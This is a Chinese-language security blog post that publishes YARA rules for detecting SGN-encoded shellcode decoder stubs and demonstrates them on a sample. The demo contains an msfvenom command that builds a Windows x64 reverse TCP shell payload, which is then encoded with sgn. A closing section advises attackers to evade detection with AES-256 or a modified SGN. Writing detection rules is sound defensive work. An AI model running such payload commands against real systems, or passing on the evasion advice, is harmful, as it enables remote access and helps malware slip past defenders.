The SGN algorithm is dead. Yara hunting for the sgn encode , i success 100% hunting all the sgn in the last relase version .

SGN算法是什么?

SGN算法是一种变异处理shellcode算法,被渗透测试、红队、APT广泛的使用,具体这个地址了解:

https://github.com/EgeBalci/sgn

chrome_F6Eh9NZA2N.png

截至目前2026年3月16日,目前Sgn的混淆算法依然可以到VT0:

chrome_ZDQhT6bYPJ.png

挑战编写Yara识别SGN算法

Github悬赏的挑战,比特币换算大概有1000RMB,我没有比特币的钱包地址,不过我依然决定亲自挑战一下全世界安全研究员都没做到的事情,疑似?

chrome_5KwFXNJRW9.png

这个规则前几个月,我肝了几周写完的,本来想整理出来复习一下,但是现在时间隔得有点久了,没写记录,完全忘记了之前具体是怎么样分析SGN算法的(哈哈哈,专家一样会遗忘,我又不是机器人),想了一下算了,不写分析了,重新分析又要浪费好几天时间,目前精力主要在windows内核开发和基础的学习,就直接分享出来吧。。。。。

具体规则

注意,下面这个规则必须最新的yara版本才能解析,我不会提供老版本yara的语法规则。

具体Github地址,已经设置MIT版权了,随便用:https://github.com/kaliworld/theyaraforsgn 记得给我star,谢谢

rule sgn_plain_x86
{
    meta:
        description = "高置信度的 SGN x86 明文解码器 stub"
        author = "EndlessParadox"
        confidence = "high"

    strings:
        $stub = { E8 00 00 00 00 5? B9 ?? ?? ?? ?? [0-4] B? ?? [0-4] 30 ?? [2-8] 02 ?? [1-8] E2 ?? }

    condition:
        filesize > 32 and
        $stub in (0..64)
}

rule sgn_plain_x64
{
    meta:
        description = "高置信度的 SGN x64 明文解码器 stub"
        author = "EndlessParadox"
        confidence = "high"

    strings:
        $stub = { 48 C7 C1 ?? ?? ?? ?? [0-12] ( 48 | 49 | 4C | 4D ) 8D ?? ?? ?? ?? ?? [0-8] ( 30 ?? | 40 30 ?? | 41 30 ?? | 44 30 ?? | 45 30 ?? ) [0-6] ( 02 ?? | 40 02 ?? | 41 02 ?? | 44 02 ?? | 45 02 ?? ) [0-6] E2 ?? }

    condition:
        filesize > 32 and
        $stub in (0..96)
}

rule sgn_schema_x86
{
    meta:
        description = "高置信度的 SGN x86 架构型解码器"
        author = "EndlessParadox"
        confidence = "high"

    strings:
        $call = { E8 ?? ?? ?? ?? }
        $jmp = { FF E? }
        $tail = { 5? [0-64]
                  ( 81 ?? ?? ?? ?? ?? | 81 ?? ?? ?? ?? ?? ?? | F7 1? | F7 5? ?? | C1 0? ?? | C1 4? ?? ?? ) [0-48]
                  ( 81 ?? ?? ?? ?? ?? | 81 ?? ?? ?? ?? ?? ?? | F7 1? | F7 5? ?? | C1 0? ?? | C1 4? ?? ?? ) [0-48]
                  ( 81 ?? ?? ?? ?? ?? | 81 ?? ?? ?? ?? ?? ?? | F7 1? | F7 5? ?? | C1 0? ?? | C1 4? ?? ?? ) [0-64]
                  FF E? }

    condition:
        filesize > 96 and
        $call in (0..64) and
        $jmp in (filesize-8..filesize) and
        $tail
}

rule sgn_schema_x64
{
    meta:
        description = "高置信度的 SGN x64 架构型解码器"
        author = "EndlessParadox"
        confidence = "high"

    strings:
        $call = { E8 ?? ?? ?? ?? }
        $jmp_lo = { FF E? }
        $jmp_hi = { 41 FF E? }
        $tail_lo = { 5? [0-64]
                     ( 81 ?? ?? ?? ?? ?? | 81 ?? ?? ?? ?? ?? ?? | F7 1? | F7 5? ?? | C1 0? ?? | C1 4? ?? ?? ) [0-48]
                     ( 81 ?? ?? ?? ?? ?? | 81 ?? ?? ?? ?? ?? ?? | F7 1? | F7 5? ?? | C1 0? ?? | C1 4? ?? ?? ) [0-48]
                     ( 81 ?? ?? ?? ?? ?? | 81 ?? ?? ?? ?? ?? ?? | F7 1? | F7 5? ?? | C1 0? ?? | C1 4? ?? ?? ) [0-64]
                     FF E? }
        $tail_hi = { 41 5? [0-64]
                     ( 41 81 ?? ?? ?? ?? ?? | 41 81 ?? ?? ?? ?? ?? ?? | 41 F7 1? | 41 F7 5? ?? | 41 C1 0? ?? | 41 C1 4? ?? ?? ) [0-48]
                     ( 41 81 ?? ?? ?? ?? ?? | 41 81 ?? ?? ?? ?? ?? ?? | 41 F7 1? | 41 F7 5? ?? | 41 C1 0? ?? | 41 C1 4? ?? ?? ) [0-48]
                     ( 41 81 ?? ?? ?? ?? ?? | 41 81 ?? ?? ?? ?? ?? ?? | 41 F7 1? | 41 F7 5? ?? | 41 C1 0? ?? | 41 C1 4? ?? ?? ) [0-64]
                     41 FF E? }

    condition:
        filesize > 96 and
        $call in (0..64) and
        ( $jmp_lo in (filesize-8..filesize) or $jmp_hi in (filesize-8..filesize) ) and
        any of ($tail*)
}

rule sgn_high_confidence
{
    meta:
        description = "高置信度的 SGN 编码器检测规则"
        author = "EndlessParadox"
        profile = "high-confidence-SGN"
        release = "1.0"

    condition:
        sgn_plain_x86 or sgn_plain_x64 or sgn_schema_x86 or sgn_schema_x64
}

识别效果

msf生成shellcode:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.119 LPORT=4444 -f raw -o shellcode.bin

vmware_ZRq0AKoHjf.png

使用sgn加密,注意这里的-c参数可以为任意的值,不影响规则的匹配,我演示不改动,这里默认为1:

./sgn --arch=64  -S -i shellcode.bin -o shellcode.sgb

vmware_V82BBzmo4s.png

使用刚刚的yara精准的识别了SGN算法:

yara sgn.yar shellcode.sgb

vmware_K9tvGNHGHM.png

对攻击者的建议

建议使用传统AES-256加密,自解密需要RWX权限,已经不适合在现代环境使用,如果非要使用建议魔改Github的sgn算法,公开的任何自混淆算法都不再安全。如果导致你行动失败不要责备是我公开,虽然我很想宣称自己是全世界第一个人写出的这个规则,但必须谦虚的推测,极大概率其他威胁情报中心已经有能力狩猎这类威胁,他们的时间和资源远比我个人强,只不过是他们没有公开罢了,有可能目前VT0是假象。

对防守者的建议

我非常愉快如果能看到我的规则能帮助你完成工作,也非常乐于企业产品集成这类规则(如果你完成了APT级别的狩猎,记得在报告里面帮我宣传我的id和博客哦),但是由于我是个人安全研究的成果,不建议直接拿来使用,个人没有企业般的条件进行广泛的误报测试和Yara性能调优,我也不是专门做威胁狩猎的专家,也不敢说精通x86和x64架构,这部分需要威胁狩猎的专家完成,当然如果读者有任何问题都可以发邮件或者直接加我微信,如果是有挑战的问题我都非常乐于解答

(相信你能在博客找到我的邮件和微信的,我依然和以前的作风一样保持低调

博客杂谈

暂时不打算继续写基础的东西了,确实我技术栈搞得太杂了,现在网络安全时代应该集中一点,登封造极;所以目前精力集中在高级的windows安全研究上,后续有完全我原创、世界级的成果再和大家汇报——-当然会开源的啦,别私下催我啦,很快了,估计也就几个月了,请大佬们关注我的博客。

chika-fujiwara-3840x2160-16148.jpg